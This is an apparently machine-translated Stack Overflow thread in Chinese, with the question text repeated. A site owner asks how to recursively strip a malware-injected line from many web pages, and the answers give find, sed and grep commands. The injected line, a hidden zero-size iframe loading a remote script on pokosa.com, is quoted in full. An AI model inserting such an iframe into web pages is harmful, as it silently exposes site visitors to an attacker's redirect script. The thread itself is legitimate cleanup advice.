的線A的惡意軟件攻擊我的服務器,並增加了行我需要刪除多個文件
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
很多我的網頁
的我如何使用grep刪除它,或者如果有任何其他的方式,我可以從所有文件中刪除它,它影響
編輯:我看到了有關使用SED的意見,但我需要一個遞歸解決方案,如果有一個
感謝
的線A的惡意軟件攻擊我的服務器,並增加了行我需要刪除多個文件
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
很多我的網頁
的我如何使用grep刪除它,或者如果有任何其他的方式,我可以從所有文件中刪除它,它影響
編輯:我看到了有關使用SED的意見,但我需要一個遞歸解決方案,如果有一個
感謝
您可以使用find
和sed
以遞歸方式查找所有感興趣的文件,並從中刪除違規行。
例如,以下命令將從當前目錄及其所有子目錄中的所有.html
文件中刪除違規行。
find . -name "*.html" -exec sed -i 's/<iframe src="http:\/\/pokosa.com\/tds\/go.php?sid=1" width="0" height="0" frameborder="0"><\/iframe>//' {} \;
您可以使用sed
來替換文件。類似於
$ sed -i.bak 's|<iframe src="http://pokosa.com.*</iframe>||' your-file
應該爲單個文件執行此操作。傳統上,人們使用/
作爲分隔符,但當您的搜索字符串中有很多/
s時,這會變得很麻煩。那麼使用|
比較容易。
結合sed
與find
和xargs
爲多個文件做同樣的:
$ find /var/www -name "*.html" -print0 | xargs -0 sed -i.bak 's|<iframe ...>||'
最簡單的方法很可能是用倒置grep
:
$ grep -v pokosa <input> output
你可能想使輸出與帶有一些額外後綴的輸入相同,然後在重命名輸入文件之前運行一些diff:s來驗證它是否正確。
有趣的想法 - 如果每場比賽都是在一條線上獨自工作,很好。另外一個提示是'input'和'output' *必須是不同的:'grep -v < a.html > a.html'你在讀取任何東西之前最終會截斷'a.html'!只是一件小事要小心:-) – 2012-02-07 15:55:16
看看:http://stackoverflow.com/questions/1182756/remove-line-of-text-from-multiple-files-in-linux – skippr 2012-02-07 15:52:15
我想你還應該關心如何理解這種惡意軟件的發生能夠穿透你的系統,以避免再次發生攻擊... – 2012-02-07 17:14:46